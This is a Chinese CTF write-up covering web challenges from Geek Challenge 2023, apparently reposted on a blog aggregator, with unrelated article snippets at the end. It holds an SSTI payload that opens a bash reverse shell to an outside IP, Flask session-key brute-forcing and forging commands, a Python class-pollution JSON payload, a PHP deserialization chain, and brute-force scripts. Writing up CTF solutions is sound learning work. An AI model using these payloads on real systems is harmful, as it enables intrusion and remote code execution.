【WP】Geek Challenge 2023 web 部分wp

news/2024/5/19 21:05:19 标签: CTF

官方出的题很好 学到很多东西 前面几道入门提就不写了

klf_ssti  

目录扫描扫到一个robots.txt 打开存在hack路径,查看源码存在klf 传参,结合题目 就是ssti注入了,然后使用tplmap工具发现是盲注,我们这里直接用脚本找popen:

import requests
url="http://htakb3g19j9kg6bt5s3mf5yru.node.game.sycsec.com/hack"
for i in range(600):
    try:
        data={"klf":'{{"".__class__.__base__.__subclasses__()['+str(i)+'].__init__.__globals__["popen"]}}'}
        respose=requests.get(url,params=data)
        if respose.status_code==200:
            print(i)
        # print(respose.content)
    except:
        pass

 经过尝试发现117里有popen,所以构造反弹shell的payload:

?klf={{"".__class__.__base__.__subclasses__()[117].__init__.__globals__["popen"]("bash -c 'bash -i >& /dev/tcp/120.xx.xx.141/80 0>&1'").read()}}

这里ip换成你的公网ip就行 ,然后url进行编码绕过

%7B%7B%22%22.__class__.__base__.__subclasses__()%5B117%5D.__init__.__globals__%5B%22popen%22%5D(%22bash%20-c%20'bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F120.46.91.141%2F80%200%3E%261'%22).read()%7D%7D

然后nc -lvvp 80 就可以监听获得flag 

 

flag保卫战 

ez_path

题目里面给了个pyc文件 ,先进行一下反编译

编译在线网站:pyc反编译 - 工具匠

 然后得到py文件 源码如下:

# uncompyle6 version 3.8.0
# Python bytecode 3.6 (3379)
# Decompiled from: Python 3.7.0 (default, Nov 25 2022, 11:07:23) 
# [GCC 4.8.5 20150623 (Red Hat 4.8.5-44)]
# Embedded file name: ./tempdata/96e9aea5-79fb-4a2f-a6b9-d4f3bbf3c906.py
# Compiled at: 2023-08-26 01:33:29
# Size of source mod 2**32: 2076 bytes
import os, uuid
from flask import Flask, render_template, request, redirect
app = Flask(__name__)
ARTICLES_FOLDER = 'articles/'
articles = []

class Article:

    def __init__(self, article_id, title, content):
        self.article_id = article_id
        self.title = title
        self.content = content


def generate_article_id():
    return str(uuid.uuid4())


@app.route('/')
def index():
    return render_template('index.html', articles=articles)


@app.route('/upload', methods=['GET', 'POST'])
def upload():
    if request.method == 'POST':
        title = request.form['title']
        content = request.form['content']
        article_id = generate_article_id()
        article = Article(article_id, title, content)
        articles.append(article)
        save_article(article_id, title, content)
        return redirect('/')
    else:
        return render_template('upload.html')


@app.route('/article/<article_id>')
def article(article_id):
    for article in articles:
        if article.article_id == article_id:
            title = article.title
            sanitized_title = sanitize_filename(title)
            article_path = os.path.join(ARTICLES_FOLDER, sanitized_title)
            with open(article_path, 'r') as (file):
                content = file.read()
            return render_template('articles.html', title=sanitized_title, content=content, article_path=article_path)

    return render_template('error.html')


def save_article(article_id, title, content):
    sanitized_title = sanitize_filename(title)
    article_path = ARTICLES_FOLDER + '/' + sanitized_title
    with open(article_path, 'w') as (file):
        file.write(content)


def sanitize_filename(filename):
    sensitive_chars = [
     ':', '*', '?', '"', '<', '>', '|', '.']
    for char in sensitive_chars:
        filename = filename.replace(char, '_')

    return filename


if __name__ == '__main__':
    app.run(debug=True)
# okay decompiling /tmp/656424dc12db8.pyc

关键代码如下:

@app.route('/upload', methods=['GET', 'POST'])
def upload():
    if request.method == 'POST':
        title = request.form['title']
        content = request.form['content']
        article_id = generate_article_id()
        article = Article(article_id, title, content)
        articles.append(article)
        save_article(article_id, title, content)
        return redirect('/')
    else:
        return render_template('upload.html')

如下: 

 

 我们直接可以任意读取文件 然后根据源码这个

我们直接读就行了 就可以获得flag

you konw flask?

这里扫到一个robots.txt 然后发现/3ysd8.html路径,访问源码得到session key 那结合这道题目 那就是flask 的session伪造了

根据代码,我们可以用脚本形成一个字典

import base64

hex_dict = []

for byte1 in range(1, 101):
    s = 'wanbao' + base64.b64encode(str(byte1).encode('utf-8')).decode('utf-8') + 'wanbao'
    hex_representation = f"'{s}'"
    hex_dict.append(hex_representation)

with open("session_key.txt", "w") as file:
    for item in hex_dict:
        file.write(f"{item}\n")

注册一个用户获得初始session

eyJpc19hZG1pbiI6ZmFsc2UsIm5hbWUiOiJ3ZW5kYTk5OSIsInVzZXJfaWQiOjN9.ZWQdDQ.8wuMdBgEZdZkgL99ohiElMmyvi8

 

然后开始爆破:

flask-unsign --unsign --wordlist session_key.txt --cookie < session.txt

   session.txt保存要解密的session (就是上面注册的)

然后去用flask_session_cookie_manager去加密

python flask_session_cookie_manager3.py encode -s "wanbaoNTY=wanbao" -t "{'is_admin': True, 'name': 'tset9', 'user_id': 4}"

得到:

eyJpc19hZG1pbiI6dHJ1ZSwibmFtZSI6InRlc3Q5IiwidXNlcl9pZCI6NH0.ZWQiSw.V4HCVirTTFWgDyENt-Qtd0pRcmA

 

用新的session进行登入 

 

点击学员管理获得flag

 

famale_imp_l0ve

查看源码发现 /include.php路由 访问得到如下源码:

<?php
//o2takuXX师傅说有问题,忘看了。
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);
$file = $_GET['file'];
if(isset($file) && strtolower(substr($file, -4)) == ".jpg"){
    include($file);
}
?>

最重关键的是:

if(isset($file) && strtolower(substr($file, -4)) == ".jpg"){
    include($file);

     以上两串代码是对文件后缀进行验证或修改然后再进行包含。对于此类情况,如果要包含非预定文件后缀的文件,可以通过%00截断进行绕过。但是%00截断在php版本5.3.4之后就失效了,而且还要考虑GPC,限制比较严重。除此之外,可以通过zip协议和phar协议来包含文件,突破附加后缀限制。 

具体访问: 

 PHP一些常见的漏洞梳理-腾讯云开发者社区-腾讯云 (tencent.com)

然后大概思路就是写入一句话木马保存为1.jpg文件 然后压缩为zip文件上传,然后在/include.php路由下进行phar协议读取 就可以得到flag

change_it

ezrfi

EzRce

ezpython

附件源码:

import json
import os

from waf import waf
import importlib
from flask import Flask,render_template,request,redirect,url_for,session,render_template_string

app = Flask(__name__)
app.secret_key='jjjjggggggreekchallenge202333333'
class User():
    def __init__(self):
        self.username=""
        self.password=""
        self.isvip=False


class hhh(User):
    def __init__(self):
        self.username=""
        self.password=""

registered_users=[]
@app.route('/')
def hello_world():  # put application's code here
    return render_template("welcome.html")

@app.route('/play')
def play():
    username=session.get('username')
    if username:
        return render_template('index.html',name=username)
    else:
        return redirect(url_for('login'))

@app.route('/login',methods=['GET','POST'])
def login():
    if request.method == 'POST':
        username=request.form.get('username')
        password=request.form.get('password')
        user = next((user for user in registered_users if user.username == username and user.password == password), None)
        if user:
            session['username'] = user.username
            session['password']=user.password
            return redirect(url_for('play'))
        else:
            return "Invalid login"
        return redirect(url_for('play'))
    return render_template("login.html")

@app.route('/register',methods=['GET','POST'])
def register():
    if request.method == 'POST':
        try:
            if waf(request.data):
                return "fuck payload!Hacker!!!"
            data=json.loads(request.data)
            if "username" not in data or "password" not in data:
                return "连用户名密码都没有你注册啥呢"
            user=hhh()
            merge(data,user)
            registered_users.append(user)
        except Exception as e:
            return "泰酷辣,没有注册成功捏"
        return redirect(url_for('login'))
    else:
        return render_template("register.html")

@app.route('/flag',methods=['GET'])
def flag():
    user = next((user for user in registered_users if user.username ==session['username']  and user.password == session['password']), None)
    if user:
        if user.isvip:
            data=request.args.get('num')
            if data:
                if '0' not in data and data != "123456789" and int(data) == 123456789 and len(data) <=10:
                        flag = os.environ.get('geek_flag')
                        return render_template('flag.html',flag=flag)
                else:
                    return "你的数字不对哦!"
            else:
                return "I need a num!!!"
        else:
            return render_template_string('这种神功你不充VIP也想学?<p><img src="{{url_for(\'static\',filename=\'weixin.png\')}}">要不v我50,我送你一个VIP吧,嘻嘻</p>')
    else:
        return "先登录去"

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)



if __name__ == '__main__':
    app.run(host="0.0.0.0",port="8888")

重点先看下注册路由 /register

@app.route('/register',methods=['GET','POST'])
def register():
    if request.method == 'POST':
        try:
            if waf(request.data):
                return "fuck payload!Hacker!!!"
            data=json.loads(request.data)
            if "username" not in data or "password" not in data:
                return "连用户名密码都没有你注册啥呢"
            user=hhh()
            merge(data,user)
            registered_users.append(user)
        except Exception as e:
            return "泰酷辣,没有注册成功捏"
        return redirect(url_for('login'))
    else:
        return render_template("register.html")

我们关注到这个merge()函数 ,相信大家也不陌生 js原型链污染里面经常看到这个函数, 

然后我们查看注册 的前端源代码:

 发现注册格式是以 json保存 ,那就很可能用到原型链污染

 那我们应该怎么污染呢 接下来看flag路由:

@app.route('/flag',methods=['GET'])
def flag():
    user = next((user for user in registered_users if user.username ==session['username']  and user.password == session['password']), None)
    if user:
        if user.isvip:
            data=request.args.get('num')
            if data:
                if '0' not in data and data != "123456789" and int(data) == 123456789 and len(data) <=10:
                        flag = os.environ.get('geek_flag')
                        return render_template('flag.html',flag=flag)
                else:
                    return "你的数字不对哦!"
            else:
                return "I need a num!!!"
        else:
            return render_template_string('这种神功你不充VIP也想学?<p><img src="{{url_for(\'static\',filename=\'weixin.png\')}}">要不v我50,我送你一个VIP吧,嘻嘻</p>')
    else:
        return "先登录去"

 我们要想获得geek_flag 就必须符合下面这个条件:

if '0' not in data and data != "123456789" and int(data) == 123456789 and len(data) <=10:

这个好说 用+号就饿可以绕过

 然后在上一层 num传参 在上一层 如下;

我们发现只有 user.isvip为真才可进入下面的语句 ,那这不就是我们进行污染的地方吗

paylaod:      

{

    "username":"wenda",

    "password":"123",

    "__class__" : {

        "__base__" : {

             "\u0069\u0073\u0076\u0069\u0070":true

        }

    }

}

然后登入之后访问flag路由进行传参

flag?num=+123456789

 得到flag

ez_php

scan_tool

klf_2

ez_sql

EZ_Smuggling

klf_3

Akane!

经典的PHP反序列化题 

源码:

 <?php
error_reporting(0);
show_source(__FILE__);
class Hoshino
{
    public $Ruby;
    private $Aquamarine;

    public function __destruct()
    {
        $this->Ruby->func();
    }
}

class Idol
{
    public $Akane;

    public function __wakeup()
    {
        $this->Akane = '/var/www/html/The************************.php';
    }

    public function __call($method,$args)
    {
        $Kana = count(scandir($this->Akane));
        if ($Kana > 0) {
            die('Kurokawa Akane');
        } else {
            die('Arima Kana');
        }
    }
}

$a = unserialize(base64_decode($_GET['tuizi']));

?> 

链的构造很简单 主要是下面两点:

1. Idol里面的wakeup魔术方法绕过 

2. $Kana = count(scandir($this->Akane)); 的用法

下面参考一篇文章:

 https://www.jianshu.com/p/16c56bebc63d

因为文件名称不知道,所以我们可以使用glob协议爆破文件名,然后scandir函数的返回值是一个数组,利用数组的长度判断字符是否正确

 

POP代码:

<?php
class Hoshino
{
    public $Ruby;
    public $Aquamarine;
}

class Idol
{
    public $Akane;


}



$a = new Hoshino();
$a->Ruby=new Idol();
$a->Ruby->Akane='glob:///var/www/html/';
$a2=serialize($a);
$b=str_replace(":2:",":3:",$a2);
echo($b)."\n";
echo base64_encode($b);

//O:7:"Hoshino":3:{s:4:"Ruby";O:4:"Idol":1:{s:5:"Akane";s:21:"glob:///var/www/html/";}s:10:"Aquamarine";N;}
//Tzo3OiJIb3NoaW5vIjozOntzOjQ6IlJ1YnkiO086NDoiSWRvbCI6MTp7czo1OiJBa2FuZSI7czoyMToiZ2xvYjovLy92YXIvd3d3L2h0bWwvIjt9czoxMDoiQXF1YW1hcmluZSI7Tjt9

然后得到的payload用python写脚本进行爆破文件名

import requests
import string
import base64

s = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789."

filename = "The"
url = "http://zzekk475cbtnv12wj8smbybe4.node.game.sycsec.com/"
for num in range(1, 50):
    for i in s:
        print(num)
        print(i)
        payload = 'O:7:"Hoshino":3:{s:4:"Ruby";O:4:"Idol":1:{s:5:"Akane";s:' + str(
            25 + num) + ':"glob:///var/www/html/' + filename + i + '*";}s:10:"Aquamarine";N;}'
        print(payload)
        parm = '?tuizi=' + base64.b64encode(payload.encode('utf-8')).decode('utf-8')
        print(parm)
        r = requests.get(url=url + parm)
        if "Kurokawa Akane" in r.text:
            filename += i
            print(num, filename)
            break

得到TheS4crEtF1AgFi1EByo2takuXX.php 文件 ,访问就得flag 

java

 


http://www.niftyadmin.cn/n/5219517.html

相关文章

C语言-方阵循环右移

本题要求编写程序&#xff0c;将给定nn方阵中的每个元素循环向右移m个位置&#xff0c;即将第0、1、⋯、n−1列变换为第n−m、n−m1、⋯、n−1、0、1、⋯、n−m−1列。 输入格式&#xff1a; 输入第一行给出两个正整数m和n&#xff08;1≤n≤6&#xff09;。接下来一共n行&am…

lodash常见的方法

debounce 防抖 延迟 wait 毫秒后调用 func 方法。 提供 cancel 方法取消延迟的函数调用和 flush 方法立即调用。 可以提供一个 options&#xff08;选项&#xff09;{leading &#xff0c;trailing} 决定延迟前后如何触发&#xff08;注&#xff1a;是 先调用后等待 还是 先等待…

IntentService与普通Service的区别

1.onCreate 在IntentService的onCreate方法里&#xff1a; 创建HandlerThread创建ServiceHandler&#xff0c;所以发送消息给ServiceHandler的话&#xff0c;事件将会在HandlerThread上处理。 public abstract class IntentService extends Service {private volatile Loope…

Sqlserver 在数据库‘master’中拒绝了Create Database的权限

解决方案 打开SqlServer Manament Studio软件&#xff0c;然后登陆 选择安全性->登录名->找到您当前的用户 在您的登陆名上&#xff0c;点击右键-属性&#xff0c;配置相应的服务器角色权限&#xff08;这块需要勾选dbcreator的权限&#xff0c;这块如果不清楚还需要啥…

JavaScript WebApi(二) 详解

监听事件 介绍 事件监听是一种用于在特定条件下执行代码的编程技术。在Web开发中&#xff0c;事件监听器可以用于捕获和响应用户与页面交互的各种操作&#xff0c;如点击、滚动、输入等。 事件监听的基本原理是&#xff0c;通过在特定元素上注册事件监听器&#xff0c;当事件…

用函数初始化数组

将数组全部初始化为相同值 对于一般情况 一般是用函数&#xff0c;传什么数就初始化为什么数 #define _CRT_SECURE_NO_WARNINGS 1 #include<stdio.h> void init(int arr[], int len, int num) {int i;for (i 0; i < len; i){arr[i] num;} } int main() {int arr[…

ssm+vue的公司安全生产考试系统(有报告)。Javaee项目,ssm vue前后端分离项目。

演示视频&#xff1a; ssmvue的公司安全生产考试系统&#xff08;有报告&#xff09;。Javaee项目&#xff0c;ssm vue前后端分离项目。 项目介绍&#xff1a; 采用M&#xff08;model&#xff09;V&#xff08;view&#xff09;C&#xff08;controller&#xff09;三层体系结…

C# UDP接收数据 多线程

UDP接收数据 using System; using System.Net; using System.Net.Sockets; using System.Text;namespace Switcher {class UDPReceive{/// <summary> /// 服务器端 /// </summary> /// <param name"port"></param> public void Server(…